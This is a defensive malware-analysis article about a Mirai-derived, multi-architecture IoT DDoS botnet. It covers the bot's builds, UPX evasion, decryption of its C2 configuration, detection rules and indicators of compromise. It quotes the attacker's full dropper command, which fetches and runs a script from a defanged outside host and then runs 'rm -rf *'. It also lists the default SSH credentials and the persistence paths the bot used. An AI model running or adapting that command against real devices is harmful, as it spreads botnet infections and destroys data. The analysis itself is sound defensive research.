Multi-architecture IoT botnet: how it operates and how to detect it

A multi-architecture IoT botnet distributed seven builds of the same bot. It packed the common ones. However, the least common build was left in the clear and handed us the command-and-control server for the entire campaign.

On July 31, 2026, at 01:17 UTC, one of our sensors logged an SSH session that downloaded seven different binaries of the same program in under a second. It is the shotgun pattern Mirai made famous and that still works ten years later: compile for every possible architecture and let the operating system decide which one runs.

The case has an anomaly that makes it instructive. The operator packed the common architectures with UPX and left the least common one in the clear: a build for Synopsys ARC700 processors. That variant, which is supported by fewer analysis tools, turned out to be the readable copy of the program. Consequently, it allowed us to reconstruct the rest of the campaign and extract its command-and-control server:

S3o65awrf56[.]net:12121

Therefore, the analysis of this multi-architecture IoT botnet produced three measurable results. First, it showed that detection of the same threat varies depending on the architecture for which it was compiled. Second, we identified the evasion technique used to conceal the packing: UPX with the section header table stripped. We also wrote a rule that detects the technique across the twenty-two packed binaries in the analyzed set. Finally, we extracted the campaign’s most valuable indicator, its C2, by disassembling the binary left in the clear.

This article is written from a defensive standpoint. The code patterns shown are representative reconstructions of publicly documented techniques and are included solely for detection and educational purposes.

01 How a multi-architecture IoT botnet operates

An attacker who finds an open port 22 has no way of knowing what is on the other side. It could be an x86_64 server or an IP camera running a 400 MHz MIPS processor. There is no inexpensive way to find out, and the attacker has only a few seconds.

Therefore, the answer is the shotgun method: download everything and let the incompatible files fail.

Our attacker, 94.154.43[.]230, had been hammering the sensors since July 27 with an SSH-2.0-Go client—an automated binary rather than OpenSSH. On July 31, it logged in with root/root and ran a single command:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget hxxp://31.56.209[.]153/nz.sh;
curl -O hxxp://31.56.209[.]153/nz.sh;
chmod 777 nz.sh;
sh nz.sh;

tftp 31.56.209[.]153 -c get nz.sh;
chmod 777 nz.sh;
sh nz.sh;

ftpget -v -u anonymous -p anonymous -P 21 \
31.56.209[.]153 2.sh 2.sh;
sh 2.sh;

rm -rf nz.sh 3.sh 2.sh;
rm -rf *

Figure 1. Each command exists because an embedded device may lack the previous tool. Five candidate directories are included because the root file system is often read-only. Both wget and curl are used because firmware images may include one but not the other. Similarly, TFTP and FTP are included because BusyBox frequently provides TFTP when no HTTP client is available. Finally, the cleanup removes the evidence stored on disk because the binary is already running in memory.

The downloaded script, nz.sh, requests seven architectures: x86, mips, arc, i468, i686, x86_64 and mpsl. It then runs each file while passing its own name as an argument, a convention inherited from Mirai. The emulator retained four files; however, only three reached the laboratory intact.

Passive DNS places the campaign precisely. The domain was registered on July 26. By the time it reached us, the infrastructure was only five days old. In addition, our capture coincided with the first public appearance of the binaries.

02 Three builds of a multi-architecture IoT botnet

To begin with, the headers tell the story before we examine a single instruction:

BuildArchitectureSectionsEntropyStringsPacking
nz.x86ELF32 · Intel 8038607.965076UPX
nz.mipsELF32 MSB · MIPS-I07.942656UPX
nz.arcELF32 · ARC700146.4748417none

All three files are the same program. The unpacked build contains 417 printable strings. By contrast, the compressed builds contain only 76 and 56. The packer destroys approximately 82% of the textual evidence without changing a single line of source code.

Furthermore, entropy tells the other half of the story. A value of 7.96 out of a maximum of 8 is the unmistakable signature of compressed data.

The zero sections are not a parsing error. The system loader does not need the section header table. Therefore, packers can remove it and blind any analyzer that works section by section.

Why was the ARC build left in the clear?

Synopsys DesignWare ARC is a family of embedded processors that almost nobody sees but almost everybody uses. It can be found in SSD controllers, set-top boxes, home routers and IP cameras.

The most likely explanation for the unpacked build is simple: there is no stable UPX stub for that architecture. In other words, it was not a targeting decision. It was a consequence of tool availability.

The architecture paradox

The result is the opposite of what we would expect: the architecture supported by the fewest analysis tools is the only one that arrived in a readable state.

That build revealed the internal family name, softbot, along with evidence of compilations we never captured and the complete module inventory. By contrast, the packed binaries would have revealed almost nothing.

Nevertheless, the ARC build has an important limitation. Our laboratory’s disassembly engine, Capstone 5.0.7, supports twenty architectures, but ARC is not one of them. The ARC sample is useful for the section map and the string inventory. However, the actual disassembly must be performed on the x86 build after unpacking it.

03 Tracing a multi-architecture IoT botnet from binary to C2

Unpacking the x86 and MIPS builds

With UPX 4.2.2, the x86 build unpacks cleanly. In contrast, the MIPS build does not:

$ upx -d nz.x86
80884 <- 40436   49.99%   linux/i386   nz.x86
Unpacked 1 file.

$ upx -d nz.mips
upx: nz.mips: CantUnpackException: corrupt b_info

Figure 2. The MIPS build contains manipulated UPX internal metadata. It runs normally because its own stub can read the altered values. However, the changes break automated unpacking. Within the same campaign, on the same day and using the same C2, only one architecture received this additional layer.

Once unpacked, the x86 build increases from 76 to 283 strings, while its entropy drops from 7.9650 to 6.3903. The recovered information demonstrates that almost the entire bot was stored in the clear: persistence paths, process lists, download templates and twenty User-Agent strings.

However, the configuration remained encrypted. It was stored in a 45-byte block inside .rodata, and neither Mirai’s traditional XOR key, 0x22, nor 0xDEADBEEF produced readable results.

Reconstructing the encrypted configuration

Brute force produced no useful results. Therefore, the correct approach was to locate the routines that consumed the relevant addresses. There are two routines, and they sit next to each other.

The first routine, located at 0x080506a0, builds the table in memory before decrypting it:

table_init() · 0x080506a0

080506a4  push    0x10
080506a6  call    0x8053a97
080506ae  mov     ebx, eax
080506b0  push    0x10
080506b2  push    0x8059e0b
080506b7  push    eax
080506b8  call    0x8050e00
080506bd  mov     dword ptr [0x8066b88], ebx
080506ca  mov     word ptr  [0x8066b8c], 0x10

Figure 3. The bot copies the encrypted blob from .rodata into memory and fills an eight-entry table—pointer plus length—based at 0x08066b80. It is Mirai’s table_init() structure, reproduced without changes.

A few bytes away is the routine that decrypts the information:

toggle_obf() · 0x080505a0

080505d4  mov     ebx, ebp
080505d6  xor     byte ptr [eax], bl
080505db  mov     ebx, edi
080505dd  xor     byte ptr [eax], bl
080505e2  mov     ebx, esi
080505e4  xor     byte ptr [eax], bl
080505f6  inc     edx
080505f9  mov     bl, byte ptr [esp]
080505fc  xor     byte ptr [eax], bl
08050608  jg      0x80505d4

Figure 4. This is Mirai’s toggle_obf(). The four XOR operations act on the same byte of the encrypted blob. However, each operation uses a different byte from the 32-bit key. Consequently, the key effectively collapses into a single byte: the accumulated XOR of its four octets.

That detail solves the case. In the original Mirai code, 0xDEADBEEF collapses to 0x22, the well-known constant. Here, the stored key is 0x5ff176b1, which collapses to 0x69. Therefore, the author changed the constant and nothing else.

The eight-entry table is recovered as follows:

SlotDecrypted valueMeaning
table[1..5]s3o65awrf56[.]netC2 domain, replicated across five slots
table[6]0x2F59C2 port = 12121
table[7]4.0Bot version
table[8]Source Engine QueryVSE attack payload

Cross-confirming the C2

The ARC build contains exactly the same encrypted bytes and the same effective key, 0x69. Therefore, the evidence points to one code tree, one C2 and seven builds.

Taken together, these findings confirm that a multi-architecture IoT botnet can preserve the same source code and command infrastructure even when its builds use different packing and evasion layers.

In addition, the functional map completes the picture. Slot table[8] feeds an attack module at 0x0804cd00 aimed at port 0x6987, equivalent to port 27015, the default port of Valve’s Source engine. This is a classic amplification attack against game servers and explains the botnet’s commercial niche.

Meanwhile, .data contains forty paths to reboot, shutdown, poweroff and halt. The bot does not simply persist. It actively interferes with rebooting, which is the first action many home users take when a router begins behaving strangely.

There is also a significant absence. We searched for a credential dictionary, but none was present, either in the clear or under key 0x69. Likewise, we found no brute-force engine and no scanner.

Consequently, the implant is a pure DDoS bot. External infrastructure performs the scanning and initial compromise. Eighteen addresses within the 94.154.43.0/24 block hit the honeynet over thirty days and supported at least three different campaigns. This separation is deliberate: burning a scanning node does not cost the operator the botnet.

04 How to detect a multi-architecture IoT botnet

Detection depends on the architecture

The same code, compiled for three architectures, does not receive the same verdict from the security industry.

On a multi-engine panel, the MIPS build is detected by 33 of 60 engines, compared with 37 of 63 for the x86 and ARC builds. It is the same program, captured on the same day and using the same C2. Nevertheless, coverage changes with the build architecture.

The aggregate difference is marginal. However, a specific security product may detect two builds while leaving the third one clean.

What this case demonstrates

Coverage is engine-specific, not architecture-specific. Comparing sibling builds—exactly what we did here—prevents analysts from clearing a botnet dropper simply because one product missed it.

Therefore, the lesson is not specifically about MIPS. The lesson is to corroborate findings across architectures before issuing a verdict.

The labeling is also inconsistent. The three binaries receive only two family names across the industry: trojan.mirai/cryp for the x86 build and trojan.mirai/usblgv26 for MIPS and ARC. Meanwhile, the dropper receives a third label: downloader.medusa/shell.

In short, the files come from one source tree but do not receive a stable verdict.

Detecting UPX evasion in a multi-architecture IoT botnet

The x86 build arrives packed with UPX but without a section header table. It declares zero sections, has an entropy value of 7.9650 and retains the UPX! string in the file.

This is a known evasion technique. Without a section table, any heuristic that depends on sections becomes blind. Therefore, we characterized the technique and converted it into a rule that combines the three signals the packer cannot hide:

  • High entropy.
  • Absence of sections.
  • The packer signature.

When applied to the complete sample set, the rule produced the following results:

ELF files in the set ................. 55
Packed with UPX and 0 sections ....... 22
Detected by the rule ................. 22

Figure 5. Twenty-two of the fifty-five analyzed ELF binaries, equivalent to 40%, were packed with UPX and had the section header table stripped. The rule detected all of them by combining the UPX! signature, the absence of sections and the entropy associated with compressed data. None of these signals is sufficient on its own.

The C2 appears only after disassembly

When we checked the indicators against the intelligence platform, all four hashes were already registered because they had been ingested automatically by the honeynet pipeline. The attacker’s address was also present.

However, the automation had not captured the C2 domain or the loader IP. Those indicators came from disassembling the binary left in the clear.

05 How to contain a multi-architecture IoT botnet

None of the techniques described above work against a device that does not expose SSH or Telnet, or that uses key-based authentication. The credentials that opened the observed sessions were root/bnsr1234567890 and root/root.

On the network. The one-line command pattern is a near-perfect signature and survives recompilation. Relevant signals include the cascade of cd commands, HTTP downloads from a literal IP address toward paths containing an architecture extension, and outbound TFTP or FTP traffic from devices that should not generate it.

In addition, blocking should be performed by range rather than by individual address. Eighteen addresses within the same /24 make single-address blocking ineffective.

On the host. Defenders should monitor executable writes to /tmp, /var/run or /mnt; copies of busybox into temporary directories; processes reading /proc/net/tcp and /proc/*/exe in quick succession; changes to /etc/rc.local or /etc/rc2.d/; and hidden files such as /usr/bin/.sh.

In the laboratory. This case confirms three practices. First, compare sibling builds instead of trusting the verdict for a single architecture. Second, combine entropy, section information and packer signatures rather than relying on only one signal. Finally, treat unpacking as an integral part of the analysis instead of an optional preliminary step.

06 Conclusions about the multi-architecture IoT botnet

The multi-architecture IoT botnet model persists because it is economically rational. Compiling the same program seven times costs less than identifying the target’s architecture, while the six failed downloads have virtually no marginal cost.

Furthermore, detection is not an inherent property of the malware. Instead, it depends on the combination of the code and the architecture for which it was compiled. A clean verdict for one binary says nothing about its sibling builds. In a multi-architecture campaign, those siblings are the norm.

Packing is not uniform either. In this case, the least common architecture—the one supported by the fewest security tools—was precisely the build left in the clear. That coincidence, which the operator did not intend, ultimately made the analysis possible.

Finally, defense in depth is not a slogan but the literal conclusion supported by the evidence. No single layer is sufficient: signatures fail after recompilation, entropy alone produces false negatives, geographic blocking measures hosting providers rather than adversaries, and automated ingestion does not expose the C2.

What survives is behavior and infrastructure, the only indicators the compiler cannot rewrite.

07 Indicators of compromise

Quick reference

The following indicators are defanged for publication. Remove the brackets before loading them into a security platform.

Command and control: s3o65awrf56[.]net:12121
Loader and C2: 31.56.209[.]153 — same host
SSH access: 94.154.43[.]230
Related range: 94.154.43.0/24, with 18 active addresses

Samples — SHA-256

  • d22ed365fc28f998ce90d85e4d4c529e4861dde56b0ada2f3865742f199716a7: nz.sh
  • 1741729211a767777d024691477bc83333d59e0f9f222571600487bdd4f9b011: nz.x86
  • 7d56228e11bcf1feafa30c07418322cbd223b2d95b8092fc34e7e3a346f19361: nz.mips
  • 8a4636e894d4d7a9ac0880a1210d70e0cf2c05e14924bcfbf39cffcef27c1e41: nz.arc

Host artifacts

  • /usr/bin/.sh
  • /etc/init.d/sysd
  • /etc/rc2.d/S99sysd
  • /tmp/.instance_lock

Obfuscation key: 0x5ff176b1, effective key 0x69
Family: softbot.arm and softbot.mpsl

All analysis was static and performed on samples captured by our own infrastructure. No contact was made with the attacker’s infrastructure. External corroboration came from passive sources.

Autor

  • Eduardo Salmerón is a Computer Engineering graduate from FES Aragón and has a solid foundation in cybersecurity, beginning with a diploma in Information Security from UNAM and complemented by specialized training in Intrusion Testing and Incident Response. He is certified as an ECIH (Certified Incident Handler). With more than 10 years of experience, he has served as a consultant across the finance, energy, tourism, and retail sectors. He currently works as a Cyber Threat Researcher at Silent4Business.

Post Comment


LinkedIn
Share